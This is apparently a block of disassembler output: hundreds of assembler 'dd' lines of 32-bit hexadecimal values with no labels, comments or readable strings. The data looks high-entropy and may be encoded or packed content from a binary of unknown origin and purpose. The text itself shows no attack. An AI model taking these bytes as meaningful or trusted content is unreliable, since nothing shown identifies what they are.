		dd 7A3010FDh, 4A0174F9h, 0E9C30173h, 9D4D83D8h,	6EC46B79h
		dd 1542172Dh, 0CC5B5453h, 4A684CB8h, 0A23B355Eh, 20FB2E02h
		dd 0BE95784h, 0A2B903D2h, 6D302Fh, 353C685Fh, 81FC17C6h
		dd 1DF48041h, 68588141h, 6FE0529Bh, 9551E458h, 0E69F1BA8h
		dd 7C822DC4h, 0AC72F231h
		dd 5632AC26h, 8038A4C0h, 62FC983Bh, 1E90DA0h, 5A48CF78h
		dd 7B184936h, 0B509054Bh, 2C2F805Ch, 5C2A3D4Dh,	4D50D721h
		dd 0C8313712h, 20088D05h, 812D6847h, 7B20992Eh,	90839F34h
		dd 0F3681824h, 200CF164h, 0A285E81h, 0C7A2C603h, 0E6B02A5Bh
		dd 0C9044159h, 0ECADE958h, 0A526696h, 78D35A3Dh, 4BAEBFCCh
		dd 80E145BBh, 0DA418EA4h, 0A547492Ch, 720F8B1Ah, 566D205Ch
		dd 4A310F7Dh, 53EA59C5h, 0F859AFC4h, 6BB43389h,	62313324h
		dd 67A46931h, 0C2D0B98Ch, 735B2C38h, 68065105h,	5A78D1A2h
		dd 5DD90B4Fh, 3EF8DC07h, 0E14858A9h, 0B82175Bh,	59E3CCC3h
		dd 54096B5Ch, 6A5AB0E9h, 0C5C43B94h, 2A30B25h, 44B1BD98h
		dd 295FBA05h, 2F855BDDh, 5266A291h, 0B79CEBCAh,	483DA39Ah
		dd 1813D2F2h, 58F75911h, 1263CCF8h, 6028052Dh, 8229028Eh
		dd 881B952h, 50E579E9h,	768CF6A1h, 923E193Dh, 4E3620F4h
		dd 56580907h, 6BAE689h,	30C334C8h, 1C13F23Fh, 0DC06EFF5h
		dd 13B15541h, 1CE5C15Dh, 5BBAC043h, 1CE926DDh, 512E0196h
		dd 87578869h, 5B95E941h, 0CBE1659Dh, 0B41B17D9h, 3CF79FF9h
		dd 0E04DDE9Ch, 4437CAC3h, 70D45010h, 0C22FE377h, 0AE7F2094h
		dd 0BA0DAF76h, 0B4484A4h, 22526858h, 40563599h,	844CB0D5h
		dd 0B340474Eh, 2F2B5010h, 3E3CB429h, 0B0C4429h,	0E4A1D3E9h
		dd 2F58C328h, 484A6925h, 0C640BE0Ah, 7E7C92E8h,	25F27DA1h
		dd 76A026CAh, 3BAC6FB4h, 59080CC1h, 25326B9Ch, 0C694FB62h
		dd 2B624E07h, 42EC5CF8h, 9A41FE29h, 796728BDh, 5C5193B4h
		dd 0C6030F5h, 24D2C1h, 880F07F9h, 7B181AAh, 9ED1040Fh
		dd 0CE030430h, 0D85250A7h, 0AA4E24A5h, 5DEA0092h, 148BD309h
		dd 97311A80h, 52BB8B19h, 406001BEh, 721FD92Dh, 0E74C3DF3h
		dd 0E801A44h, 0CB28A5EBh, 59A4C3AEh, 5ECD8252h,	6813E46Ch
		dd 0DB30371Fh, 0D64657E9h, 126F1EA9h, 0A05CC5A2h, 0A83A2DBDh
		dd 0F6713F36h, 3FDD2E4Ah, 20C9047Ch, 0C0BF2248h, 7509780h
		dd 392E31B8h, 0E8C7444Dh, 0BCC2D6D2h, 9D944C50h, 99A57314h
		dd 515D5489h, 49094849h, 4CD81300h, 1EDE1CF4h, 5F08ED14h
		dd 395C5E4Bh, 0B5A565B8h, 10EB7140h, 78315C81h,	83242468h
		dd 0C6A2692h, 0F26989B8h, 0E5BC80Fh, 0E5D32972h, 27E91C93h
		dd 2BBAED82h, 5609D040h, 0FFBCC8F6h, 0DE03521Fh, 0D96A9476h
		dd 59814E74h, 6EE191C2h, 2FFDED89h, 298DF413h, 4888A43Ch
		dd 0DF803C28h, 0F78072A8h, 1583A0D5h, 8DD23E78h, 9709DC95h
		dd 8244C0Fh, 1DD0022Fh,	43D6555Bh, 5A90E750h, 0C138CA21h
		dd 0BF00083Eh, 0D4815A13h, 0F9333D9Ah, 1EE3615Ah, 0BBFD9808h
		dd 0B685337h, 63184048h, 4CEB2380h, 0D71664A9h,	6F2728E9h
		dd 0E55FF5B1h, 74669042h, 5BD88B60h, 0E05D304Ch, 4A2D275Dh
		dd 0CDD284ECh, 0C1DE8944h, 487786FFh, 0D60BA4D2h, 8229A1CAh
		dd 0D257DC2Dh, 3CB13821h, 225EC83Bh, 34F10267h,	2F043C97h
		dd 0F701F940h, 0D0CD87D9h, 0E54CD1DDh, 534C02DAh, 430165F4h
		dd 453BCFE3h, 69E98405h, 7865B20Ch, 0F71D8029h,	53248528h
		dd 7E016322h, 4F447942h, 8224E431h, 6E0248BBh, 453EDDC0h
		dd 4EB0135h, 26C40812h,	0B092A4A2h, 1F5EE9F4h, 63224412h
		dd 34F2135Ah, 88E7F0CAh, 0FD889624h, 422E27EBh,	0B38BDB8Bh
		dd 55B6D5E0h, 302EB409h, 766490F4h, 0B5A98372h,	0F1F450BEh
		dd 960F1CA1h, 0A9CD01D7h, 16CFF831h, 3747A868h,	6244D21Ch
		dd 0CD9140A9h, 4E2B24F8h, 0F50BFE98h, 847F5B33h, 7AC15EFCh
		dd 9D28FB68h, 7449099Eh, 7609F07Ah, 8F276552h, 20F6929Ch
		dd 0FC509F44h, 82899F2Ah, 2FC42F59h, 95791DB1h,	0AD5D5096h
		dd 16404D9Ah, 5814AC3h,	2DB9403Eh, 64B43C8h, 635A91FEh
		dd 0C4F96839h, 0F0B3638h, 5993C0B6h, 0B0D87FE2h, 0C0BE334Ch
		dd 57C8BE0Fh, 0E2E75989h, 62EF8387h, 0AFEB3C87h, 65D7B069h
		dd 4AE98B46h, 685C04A0h, 0BB995049h, 694E2CBFh,	57DFBA81h
		dd 5E38C601h, 8276B47Dh, 38E38D0Fh, 50E0605Eh, 0A453F78Ah
		dd 9620B470h, 682B421Bh, 1076473Eh, 0C5769362h,	9632A401h
		dd 5BDB8039h, 6B4FA268h, 0E820BB34h, 5988C301h,	5B292D0Bh
		dd 77396B8Fh, 0E00B2BD2h, 66701833h, 6CAB580Fh,	0BD5384h
		dd 0B24476B9h, 0C1894B60h, 845BFB78h, 2D5FF875h, 542466E7h
		dd 0BD688B16h, 2C47E6E8h, 1931C181h, 9AD0DDE0h,	2099062h
		dd 603A24A6h, 0B60FA01h, 0AD0336BAh, 0E7C1471Bh, 0E9070D08h
		dd 2F46141Dh, 5157EE71h, 0C4D48330h, 0C2C33055h, 5D00FEE4h
		dd 0CE04E0C1h, 0E8C00506h, 32792D08h, 505E2770h, 0B5584128h
		dd 23A19182h, 662D8E47h, 8D2B10Bh, 6031C5C4h, 1C355003h
		dd 6E3884F1h, 8388FA4Dh, 55166805h, 4B5450CCh, 3EB7C05Fh
		dd 0E926666Bh, 5A969B25h, 9FCA0E13h, 50664240h,	2468D9F7h
		dd 0C71E0999h, 39224961h, 490F44A5h, 345B2D2Ch,	992A5AF0h
		dd 415BC44h, 904E217Fh,	56575AF0h, 7C09E4B8h, 0D828B15Eh
		dd 0C990F2h, 689545E6h,	1A87890Fh, 7DAA67C4h, 35BFE613h
		dd 300408D3h, 2C16BC23h, 0ED138383h, 30225502h,	41284A5Dh
		dd 520261DCh, 8CDDF883h, 49A26354h, 96921B5Ch, 0A053EACCh
		dd 4578ABh, 98BB6E06h, 0E91A5F79h, 51FD5064h, 291FD9E2h
		dd 0B09C53C8h, 28E35E42h, 4AB8C7A2h, 257033D0h,	0BC5400F4h
		dd 3735486Ah, 3D023A17h, 0FD666105h, 0CF6E122h,	1235F95Ch
		dd 0B4D9529h, 0ED20BA0Ah, 0E2C0D6B2h, 0CA80080Eh, 40C26070h
		dd 27E9D128h, 5C9354B9h, 2F8808C1h, 47EAFD44h, 4511D31Eh
		dd 20F8899Eh, 2DE8D17Ch, 0E7552C00h, 4DBE5620h,	44150054h
		dd 4C29F681h, 1C907F09h, 15A6C8BEh, 5180F824h, 2C3C6857h
		dd 5F2401C4h, 0FF5CF81h, 9FD56009h, 41462AF1h, 487F0C76h
		dd 680611E0h, 0A4E807BAh, 441D2FF1h, 9660AD49h,	28D19170h
		dd 0C02640B5h, 8006EB05h, 7BA14FC3h, 3B9C3221h,	4D4644CEh
		dd 0CCB8C01Dh, 94BE313h, 0EE91304h, 0D8F058D4h,	8A575B02h
		dd 3F83266Fh, 4154AB8Ah, 18BB6881h, 0FE6250C9h,	0D28E8313h
		dd 8E91BA00h, 1DDF3CC9h, 77A4EE80h, 88863608h, 5A1D56F1h
		dd 274CE27h, 0E9F1CF80h, 11D631FEh, 0DA6850E0h,	68B9913Bh
		dd 19C00C46h, 0FF6EC2BDh, 2DD478C2h, 4C991734h,	0FCB14401h
		dd 76C3162Bh, 0FB90A74h, 40A10C88h, 0FD13C6C1h,	8B16417Ch
		dd 0BCA4BBF2h, 12E87980h, 0A2F93147h, 0FE7098B1h, 4D2F0B13h
		dd 0FC88CA01h, 0B3591608h, 5C827F87h, 2EE9613Bh, 7F8133BAh
		dd 0E9C20FBCh, 24287072h, 3B53F701h, 5F9A3F8Fh,	7CC3E4A9h
		dd 0A49B163Dh, 0CE075E25h, 36C023AEh, 6917E94Eh, 4FA73FBFh
		dd 68B3EA39h, 2CA03C8Dh, 2E162297h, 8DD9F9BEh, 7410E09Dh
		dd 7E41E556h, 0D5DF356Fh, 820EA21Eh, 0C6118BE9h, 3E3DB1F3h
		dd 58B9B218h, 0C507815Eh, 3917457Ah, 99CA66C2h,	62285988h
		dd 0E3B5E9B3h, 668A4EE3h, 0CB546764h, 8E840A0h,	10CE2113h
		dd 0AC700E0h, 7CF61672h, 31381398h, 275A54F8h, 510C6991h
		dd 0A09648EBh, 75AA31D7h, 55D83F9h, 0F3ACBF04h,	62072D16h
		dd 38650455h, 0CC136A8h, 0FE33D430h, 9009FDD4h,	7E58A2E9h
		dd 7042BD02h, 58094195h, 96C20039h, 1A2288Ch, 68165AD0h
		dd 0A336266Fh, 0E58D60A4h, 8F0FC1FEh, 5AC27A59h, 0BAE38698h
		dd 0C4883910h, 0BB53C600h, 0CC04DFB9h, 0E9DE2906h, 22DBD9h
		dd 8EDC058h, 0F580C5FEh
		dd 0EE3D7C70h, 3E68059h, 0F698B353h, 0EB863ADBh, 0E908D531h
		dd 0E9D6D65Bh, 0C0B0279h, 230ABEE9h, 613800F3h,	0D82976B6h
		dd 0C372315Bh, 87E9C20Dh, 96F56B8h, 74122F5Dh, 0E634774Ah
		dd 1F03E915h, 436635DCh, 9EF93C2Dh, 855B246Ch, 0F5A6A86Bh
		dd 4C67C811h, 0E5160454h, 74C1013Ah, 45782E59h,	0A52A1DC1h
		dd 7E1E2047h, 0B2AE0A83h, 7E12890h, 0F758C388h,	928A8AEEh
		dd 85C18FEh, 594E9468h,	0AAFF55CCh, 467376CAh, 4C32F666h
		dd 406E693h, 7C3481ADh,	20986507h, 0A0C3B352h, 0CB1350Bh
		dd 0D7E2E90Bh, 0C602B744h, 0FC2832B4h, 0C143415Bh, 0EBD5E3C1h
		dd 165866D4h, 0E63CF168h, 9B055B93h, 9513CF01h,	0B9ED2F2h
		dd 9D5A88E9h, 651F5D29h, 0D211E419h, 991BBA29h,	5148D3B7h
		dd 0EEB59201h, 3BC85140h, 0F7130093h, 6E3C1DBh,	0E930D387h
		dd 0C7014FDFh, 0D6515C58h, 0F34B6E00h, 0A4E94D27h, 7EA9392h
		dd 0D58C334Fh, 8E137C1h, 222DE20Ah, 32494A5Eh, 0F2A80341h
		dd 0D03B1F27h, 1E8C040h, 2FDAB22Dh, 1A211624h, 0A9E94A03h
		dd 0FDEB034Fh, 8E5C15Fh, 2E829DAh, 0C909BEBDh, 231F8B9h
		dd 0AF46B494h, 5070093Ah, 1CF72AE1h, 810D448Ch,	35F4EE00h
		dd 800F22BCh, 0E065CC7h, 0D80BDB81h, 0B6248247h, 0F859F662h
		dd 13E8FC36h, 95AD50Ch,	0D87B06h, 0EEC14E0Bh, 87910404h
		dd 215CD8Ch, 1F24006h, 0B25E5EF3h, 6750486Bh, 5212BD88h
		dd 9EB6DB86h, 1DF1B900h, 0D1F76775h, 81B5A0C1h,	5AF30FE1h
		dd 2F1D445Dh, 8B469742h, 0CF48960Fh, 2BB7C66Ah,	0FBEB0285h
		dd 874CC11Bh, 28969082h, 124BE252h, 6682FF27h, 0B949092Fh
		dd 22DB7050h, 302E0910h, 3B15E707h, 870F205Dh, 65CE01D0h
		dd 0DF1000F7h, 0D251E90Ah, 69BAD2D1h, 1CFACDD0h, 0AAC9E35Bh
		dd 4F435660h, 2E9D7976h, 2E425F4Bh, 25E4FEB3h, 923F5448h
		dd 15E77515h, 0C7D207Bh, 0B0F0F692h, 8D0F8BC1h,	338058F7h
		dd 866692E6h, 9820E913h, 60C001Ch, 0AE2D0558h, 0C1124CC5h
		dd 980108E0h, 7FDA2E6Eh, 25B0AC47h, 92D7149h, 1B4A4F43h
		dd 1305AF85h, 0E92ACC07h, 58863420h, 33392C31h,	0EC4124CFh
		dd 0B5BF8667h, 0D21B97E8h, 57E39Ah, 276E7CAFh, 0D2F72E4Ah
		dd 74108463h, 0F6358025h, 7F652252h, 91B4FC44h,	9F390008h
		dd 0F281424Ah, 0C4135E37h, 951A2969h, 3EEC8006h, 0BF235B67h
		dd 0F3E97901h, 1E297EDCh, 95E9B0A8h, 0E268A584h, 0ED81006Fh
		dd 3FC24F70h, 9AC56001h, 2B0F4530h, 0AB019890h,	0E9439615h
		dd 35A51F23h, 8A0F9F81h, 0FD982534h, 387D25BCh,	0C4800937h
		dd 58C0F0EDh, 787484C5h, 0C5900E8h, 5293341Fh, 200CC2B6h
		dd 0F5FAE9F0h, 0EDE35028h, 17665AC3h, 507C908Bh, 0B50B83B4h
		dd 89E5280Fh, 5276E2CCh, 11F45AF8h, 0CD67BB8h, 5AA71202h
		dd 1AF8013Ch, 553EF506h, 0FA657F09h, 0D1C20900h, 9777FFE2h
		dd 0D0E906B0h, 0BA1D149Ch, 32870182h, 89286131h, 0C617C051h
		dd 32C3BA06h, 652C7CB7h, 0FC5B7A80h, 4B1E7B67h,	0FE0BFD30h
		dd 942484CDh, 0C25A3FC1h, 48BB6964h, 5A5D026h, 882124DCh
		dd 31776BBCh, 5DE9250Bh, 68762316h, 0EBCCCD32h,	4DB92451h
		dd 524B1E9Bh, 0BFE508CAh, 871EBC26h, 80C016h, 31BB6653h
		dd 0D9BC2E2Ah, 8EE3E25Bh, 4CCDB8DDh, 1A3777AEh,	2C31245h
		dd 13BAF052h, 3FB7FD2Ah, 0D329F348h, 0E9DA87E8h, 0AE02CB25h
		dd 46093E7Dh, 283B72BDh, 0E724424h, 48773CDAh, 1667EFC0h
		dd 0C3F84DA3h, 0AB3A110Bh, 2B50E17Eh, 89533397h, 5BDAF40Dh
		dd 0B49694BFh, 0EB7F58F7h, 0DCB1FDABh, 12372A07h, 0EF8C17FFh
		dd 4F74B051h, 0B826C4ACh, 2568B356h, 9DE6541Dh,	8BB44EF8h
		dd 5E0E1A25h, 685C502Ch, 46745E2Dh, 22DCBA7h, 0C25D3025h
		dd 5749351Bh, 5AF8204Bh, 3FE23714h, 0AE092EE4h,	54D2846Dh
		dd 6DE9F822h, 66BF1562h, 0C5AC0449h, 5ADDE870h,	0EFFDDD91h
		dd 715BBB00h, 21068314h, 9E58B3h, 446561C3h, 776FB20Dh
		dd 731EA25h, 0E936BE77h, 80ABFAC8h, 14B4E281h, 1C55CB68h
		dd 0E6BEF455h, 24676F58h, 0C697FCEAh, 8E80AC0Eh, 0A043330h
		dd 0FE07F922h, 1C992FCEh, 0C00E8682h, 701004E6h, 25F048C3h
		dd 641B310h, 125D890Fh,	0A4C104FFh, 0ACE44EF5h,	0F0A71D8h
		dd 81715C82h, 0E6E0C88Bh, 0B5CAF20Ch, 8F59870Bh, 4854126Ch
		dd 0DB202358h, 88C24ABEh, 0F6560977h, 12599A7h,	5A397E20h
		dd 0D464D15Dh, 0E1435D9h, 109E4D36h, 8100EBDEh,	0C95306E5h
		dd 567D507Fh, 8914974Eh, 13CB3C42h, 94B2C095h, 16A6BA01h
		dd 204A3EB2h, 20E9B1Ch,	672962EAh, 30A9A2E9h, 0BC1B190Bh
		dd 54FA500Dh, 0ECED17C0h, 9651DB2Ah, 0F2E5B432h, 30E696CDh
		dd 75C3ADAh, 60B5E9E1h,	4E54CB2Bh, 5E1E3ED2h, 0DE010989h
		dd 41EEF400h, 0FA5C80AAh, 0F7891C72h, 248678A5h, 298358C7h
		dd 22B420C5h, 839FB950h, 7154731h, 4CCDC2D5h, 0E05994A0h
		dd 24E0520h, 2CCD5936h,	88F00CD3h, 2917B1CFh, 0C1C306E2h
		dd 0EE9906E6h, 0E4EA6002h, 0F189310Eh, 0B3F56E55h, 6B5ED30Eh
		dd 0BE13A06Fh, 0B5CD5123h, 0C44E8E85h, 0E1A2D5FCh, 87B5027Dh
		dd 1B253552h, 9006CC76h, 27125FC1h, 0B2F283E1h,	408B406Ah
		dd 3E5CDA00h, 38814974h, 963E13C9h, 0C4F6E90Ah,	0D35B9D8Bh
		dd 5C4346ECh, 0D9418653h, 0B734FBF1h, 28F5122Ch, 201C08D0h
		dd 6873F718h, 685981FEh, 94C9F7B1h, 0CDE913C4h,	0BB375DF0h
		dd 5556D99Ah, 95E5C85h,	8F4ACADBh, 70C2917Ah, 0F367DB68h
		dd 12592B93h, 11F3255h,	6801E80Bh, 383A4937h, 0C60BCF27h
		dd 3449E479h, 0CE914D8h, 0FC011119h, 163C20Fh, 872A0D3h
		dd 516E913h, 0B4744AF3h, 0B0B308C1h, 0DD989222h, 126D991Ch
		dd 804D7F7Bh, 0AF512642h, 0C113BB01h, 61CE8930h, 0B42C5A36h
		dd 80DAF603h, 0C4D28AEAh, 306A064Bh, 0C21F8F3Dh, 59B9C949h
		dd 1E5E3102h, 0BB2C827Ah, 0D27855D6h, 0B768160Ah, 7BD1347h
		dd 6060F133h, 112ED7CFh, 0A5E92612h, 83F22656h,	28118B95h
		dd 40052504h, 1E1DB8F5h, 89163B2Eh, 0E6413F5h, 7C5B3197h
		dd 0A625353Ah, 0F2442519h, 0C7DC2791h, 96DCCD4Ah, 28685E82h
		dd 62975412h, 0D89B0E47h, 0C64E9D7Bh, 0C554130Eh, 3B27071h
		dd 2C8C5C62h, 380A7764h, 0ED8984A8h, 0EF3DD805h, 67529B8h
		dd 295EE97Ch, 8831CFBh,	0E1141C41h, 0CDA7B228h,	0B658525Ch
		dd 14C81E3Dh, 0B21A9251h, 1381CFAFh, 6144B053h,	0CE5A2F50h
		dd 0A4DA5E0Ch, 0EE198C54h, 150BC533h, 1676CB62h, 0B3524BF1h
		dd 0E9D50CB9h, 0FBDDD9Fh, 499B3341h, 890A2344h,	1787C218h
		dd 0F20827D8h, 0F4565C31h, 81D6E849h, 0B88EC1F5h, 98E82972h
		dd 6892F2FCh, 8C3C4A82h, 14E79414h, 0A6B3C205h,	83A98785h
		dd 3147EE03h, 69D9B7BEh, 4282045Fh, 8EA92F43h, 2C3DBC5Ch
		dd 0EFA6C93Ah, 0F1881B05h, 0F81D712h, 5E60D14Ah, 0F44EBAE0h
		dd 9D1C0E77h, 0D3495966h, 0AEFC11E8h, 5A841897h, 0D110D2E8h
		dd 88F06C6Ah, 3D464FC9h, 9434DF13h, 0FA45ABB9h,	0B1FD3C8Bh
		dd 44A1E908h, 10505D3Eh, 4B3FBDFCh, 1C698318h, 87314159h
		dd 0B5D6DECFh, 3D20BA00h, 814CA100h, 0E60BA0CAh, 6970B841h
		dd 0E8007355h, 698942DFh, 13A5149Dh, 8D15A668h,	7AC16EF5h
		dd 0FC3D5B46h, 81430701h, 0D4985EF3h, 0DD61E9E6h, 7F83AD5Fh
		dd 250FDA30h, 1FC2C284h, 7DA50482h, 457CA62h, 30045914h
		dd 53DAE0D8h, 578DBB04h
		dd 0B2E8155Bh, 63106060h, 889050A9h, 3299C02h, 4AA6E9AEh
		dd 2626C455h, 0F11DC5D4h, 0A9270808h, 943A5ED5h, 8F05AB95h
		dd 8ED9B6E2h, 0A8592A2Ch, 0C205DD94h, 0C709936Ah, 1EF85AEh
		dd 2C685908h, 3C97631Dh, 8F6CBF56h, 0C9E9100Fh,	3C23F90Eh
		dd 0F569A7Fh, 0D930ACB3h, 0A4422124h, 0AD3AEB62h, 0C3299B3Eh
		dd 41539C10h, 0B70F5505h, 101322C0h, 94582C2Bh,	8287579Eh
		dd 4CE68A87h, 70EE801Fh, 0CF7BB18Ch, 8F2D05EAh,	0C7215673h
		dd 18C8E245h, 0C1DDF700h, 5E798EDh, 6F111ABEh, 2FC9C003h
		dd 6904735Ah, 7AE9F501h, 211676FCh, 436D3DCBh, 1F9FB59h
		dd 4A861DFh, 0D7229C47h, 91875A27h, 442BD270h, 0EAD50D3h
		dd 8BDFD821h, 8F34BF2Ch, 53137B9Eh, 139674E7h, 0B62DC18Bh
		dd 1FD73098h, 0D1B7B397h, 646EFBB0h, 0FD50C29Bh, 0E9C32C04h
		dd 0B0234FABh, 4DFC4121h, 970A7390h, 0AF6B0302h, 1C743000h
		dd 0A9ABB35h, 0C321192Ah, 6059EB48h, 539BF380h,	5AE96846h
		dd 293A090Fh, 602A6C4Dh, 818064BBh, 88638AC6h, 0EE01096Dh
		dd 0DD6275E9h, 683C6141h, 305D019Dh, 525823E1h,	52D41E79h
		dd 134B2354h, 0E2E2850Fh, 29F9C91Eh, 21ED89Bh, 867AF02Dh
		dd 0B555E2Eh, 546BD2A8h, 130FB83Ah, 0B8445B8Fh,	0E3F6A17Fh
		dd 68C23E78h, 835B36EAh, 81515309h, 3E190A4Eh, 814A007Ah
		dd 0A304C6C9h, 0E1064898h, 16DA3AFBh, 0AE0B306Ah, 0CF29C1B5h
		dd 89FD3D03h, 0A65859CBh, 0A0EFA666h, 90E43F5h,	12E94F9Eh
		dd 22B54A70h, 983057C9h, 0FA6855BCh, 565E2E4Ch,	0E1DD14F8h
		dd 30E9E879h, 0BE2A6FBDh, 29135C49h, 0B841564Eh, 23953FFBh
		dd 7E0102Ah, 92E95E06h,	0C1096FE7h, 99320968h, 728081BEh
		dd 78C37C26h, 602D6858h, 0F270E652h, 5B29EA71h,	0DBC69741h
		dd 5A5E3723h, 522F5CF9h, 0D84894E9h, 98B8EB29h,	0A3889A92h
		dd 520731F1h, 5D51EF2Fh, 0C8784FF2h, 0BB06AA06h, 42D4167Fh
		dd 8EAC1CAh, 0BF2BF261h, 34361393h, 2578C7E2h, 0FFDBEB58h
		dd 483C6885h, 6017152h,	7C7F0960h, 0B62B813Ah, 0A1CF6C35h
		dd 6B7D6E32h, 490EEE24h, 0CC824403h, 62D2CB25h,	61DBC0FEh
		dd 9A98B729h, 3224632Fh, 49003C12h, 0E965FA3Dh,	264ABC2Dh
		dd 0EC98C9EDh, 0D882AB10h, 0B0C895B6h, 6836307Ch, 48F18811h
		dd 0DDC5CDBBh, 538DB05Bh, 0D8290CA8h, 0E904819Bh, 811670B9h
		dd 83497810h, 1D42EFF5h, 0FAD2CFE7h, 69675C5Fh,	0D6C0F382h
		dd 3C30B907h, 48F727F9h, 6E0684D9h, 1079496Bh, 413205B5h
		dd 14EED07h, 42197CD9h,	0D679052Eh, 49B8BDC0h, 0E0304AC6h
		dd 0D1993B30h, 7F21D3E4h, 0CA0101AAh, 283ADD25h, 3530E9FEh
		dd 0BBE5733Fh, 33022624h, 0BCC8082Bh, 531CC581h, 4F242938h
		dd 83BDABBBh, 501ABAD8h, 8A68167Ah, 5335CC35h, 88EAB700h
		dd 0A3E95BFDh, 9749B24Bh, 3050F7C9h, 4797051Dh,	32BD2031h
		dd 0C185B488h, 4AB3BB55h, 0F9A09D42h, 0A3DEFAEEh, 67BE2C44h
		dd 0FCD94CCh, 0F7F578C4h, 0C7581D22h, 79CF8F0Ch, 0C174AFE0h
		dd 0E97302EFh, 0F580D3C1h, 1DE5532Ch, 332FE965h, 1A8A68A7h
		dd 0F70D5B0h, 0F72ACF00h, 0CD8145D5h, 4612269Fh, 0ECF41260h
		dd 2DCF5E34h, 95E95204h, 538CA463h, 436DD341h, 13FE5E7Fh
		dd 5B18C06h, 41147A00h,	6E8C163h, 18CEA1F7h, 9B5093Bh
		dd 3105A10Fh, 8472B571h, 1F22683Ch, 5E12FDF3h, 5EC9F3ACh
		dd 1CFA7918h, 0C99C960Eh, 0E7CC5AEAh, 6FA99EA1h, 5065A275h
		dd 0B131EE8h, 0A15004C0h, 1242A4CEh, 1CB34D0Eh,	0D0F72648h
		dd 528D20C5h, 82EEC02Fh, 2F012B33h, 1ED95809h, 0B0065CBh
		dd 30602FE9h, 86AE3C1h,	0D70CF606h, 0CEF451Eh, 775606F8h
		dd 771F50Ch, 48E9712Dh,	0EED9880Dh, 0E1CC6066h,	6ED0F3C1h
		dd 0E716DB64h, 0A1246412h, 53411329h, 5D63D0C8h, 0C44B6F98h
		dd 0E8A441Eh, 1BC2C24Fh, 283CF126h, 21900952h, 4C0F2573h
		dd 0D339572Fh, 0B00AC6D5h, 10116C0Bh, 0E07A0297h, 0DD849542h
		dd 0B02A84Eh, 2F1015Dh,	7444A76Bh, 45749AB2h, 336F7B54h
		dd 1230FAD1h, 7154316Ah, 93BB35C3h, 0AD8048ADh,	3E52D305h
		dd 0F8940E5Eh, 5F0E072Dh, 0C4553B68h, 0AE185A84h, 7CA95674h
		dd 0C4A3681Dh, 0FE5B198Ah, 0F7343B0Fh, 0DD4BE88Bh, 6F8C9350h
		dd 9893FCD3h, 982935C5h, 9D7F92F7h, 0CBE9C001h,	0E1010417h
		dd 5ABACD44h, 8240F330h, 1D0ED4Ah, 0D8B262F6h, 7F446690h
		dd 0A6EA4B30h, 2E20301Eh, 9D41E368h, 632B6146h,	0DF3CE508h
		dd 0F0D95C96h, 0DD89BF27h, 0C0528505h, 0D104ED5Fh, 815D6F00h
		dd 5C71C7F5h, 8E09BD06h, 95797B85h, 5296825Ah, 1CAF64C0h
		dd 89473C02h, 0CA4A5BDAh, 0F68E00FFh, 0B076E2FEh, 2ACEC48Fh
		dd 96A5B2FDh, 0EF2406A6h, 255CE5DBh, 0EC6BE4B8h, 8221B280h
		dd 0C5234CFCh, 0E9F29027h, 0A1289AAFh, 0DF4C697Dh, 791502BAh
		dd 504A59B3h, 0F86F4440h, 8D604981h, 21C00BC9h,	97297FD3h
		dd 0B9F1A4A0h, 6D268ED0h, 0D039E529h, 0D6A8318Bh, 3D99FFCAh
		dd 0D67704EBh, 403DF412h, 5674F17h, 689D7100h, 4E3113F6h
		dd 34B929D6h, 1D07554Bh, 47DFF763h, 204D736h, 54166851h
		dd 795061C0h, 0FDF1E913h, 2596A036h, 0EBA163A7h, 0C82EF890h
		dd 207E5789h, 2C1B3CE7h, 0E627865Ch, 97F7B908h,	884741F5h
		dd 20595BFAh, 359B5AD0h, 38017E25h, 6324E827h, 245FE8DFh
		dd 0D088D487h, 7D602FEFh, 4D95CC86h, 17B825FBh,	1162A168h
		dd 5CE2DA8Dh, 2978E96Ah, 704A1000h, 5C81B926h, 0F02D4A0Dh
		dd 4C612914h, 5358595Eh, 13B2A740h, 1E665C8Dh, 38D1F5Fh
		dd 12444FEh, 85EF80C0h,	370F7E6h, 58F2F86Bh, 4CB2B7FBh
		dd 0B260815Eh, 9DAF620h, 2D57870Fh, 0C27E84A9h,	3E8C005h
		dd 398369C1h, 0A041A84h, 955CFF88h, 445AEBC9h, 4F587232h
		dd 0DD4A4511h, 13A3F2A5h, 31E9F768h, 801C282Ch,	0B35BDE88h
		dd 514A6695h, 0D92A63CDh, 3B84784Bh, 18B83150h,	402F90E9h
		dd 2A1DEA75h, 893EDE27h, 0C27BA5D0h, 9641D9CDh,	57200555h
		dd 22C6870Fh, 0C594CBC8h, 9798544Ch, 0C8C26545h, 1F1053A9h
		dd 6C135E12h, 3E5664E6h, 0D0CC445Bh, 4A64AE62h,	0D59F99A8h
		dd 53488D50h, 0F1DDF03h, 83FD293Fh, 0BA05C333h,	76942E9Eh
		dd 75845CE9h, 0C99EBD73h, 68CC215Ch, 326E41EEh,	45CBE753h
		dd 885581E9h, 3ABCD85h,	5D575A5Fh, 4EC9F558h, 97313F68h
		dd 2544ED08h, 6804D994h, 64AD0680h, 92C7D6B4h, 0F598BDCFh
		dd 5B13832Dh, 790F0AE7h, 20DA03CCh, 8C68B101h, 60C1DECAh
		dd 61BF6508h, 56569BB0h, 0C1896849h, 56111252h,	0D5994254h
		dd 0A8570009h, 0F64E4A78h, 0C849D26h, 34C7C24Fh, 445131B1h
		dd 1022AB2Eh, 1D55883h,	60358EBBh, 0F0DF2115h, 109DADE1h
		dd 74CCB8CAh, 29F60BFAh, 0B0158C7h, 7B8C0A13h, 6B220C0h
		dd 573B3FD4h, 0D3AE5F28h, 98510463h, 8AE31719h,	9AFB5769h
		dd 0C2C3E984h, 9517488h, 314B86CBh, 0D16251A6h,	0D5B5F701h
		dd 0FA292E67h, 126F8731h, 40D52D74h, 670A68F9h,	43087227h
		dd 0AD04A44Ch, 0D8F7075Eh, 68DD8482h, 9621E9CAh, 45164073h
		dd 1A97460Ch, 1B2FF4DFh, 53B50631h, 899BAC69h, 0E35F264h
		dd 150B75EBh, 0C0F32964h, 2638F775h, 0E705167Eh, 76B4CE2h
		dd 0A93AE2C7h, 864D8D03h, 0F0C096Ah, 250270EBh,	7F5FFBh
		dd 18396737h, 0B8B254Fh, 0F4F3A184h, 3B1D05E9h,	2D81464Ah
		dd 61DD0227h, 75FC462Ah
		dd 0C13D9368h, 0F539024Ch, 0D059CE29h, 3134EA0h, 1EF72D32h
		dd 0C58977F0h, 0AACEC94h, 0E99EB8AFh, 0D9C19540h, 91E1695Ch
		dd 0A4631283h, 1201D44Eh, 88C6DAA8h, 6BEC390Eh,	0EE9B5765h
		dd 955D82A4h, 0E98A81C5h, 0CCA5CD14h, 9370D4DFh, 0D93FA4E4h
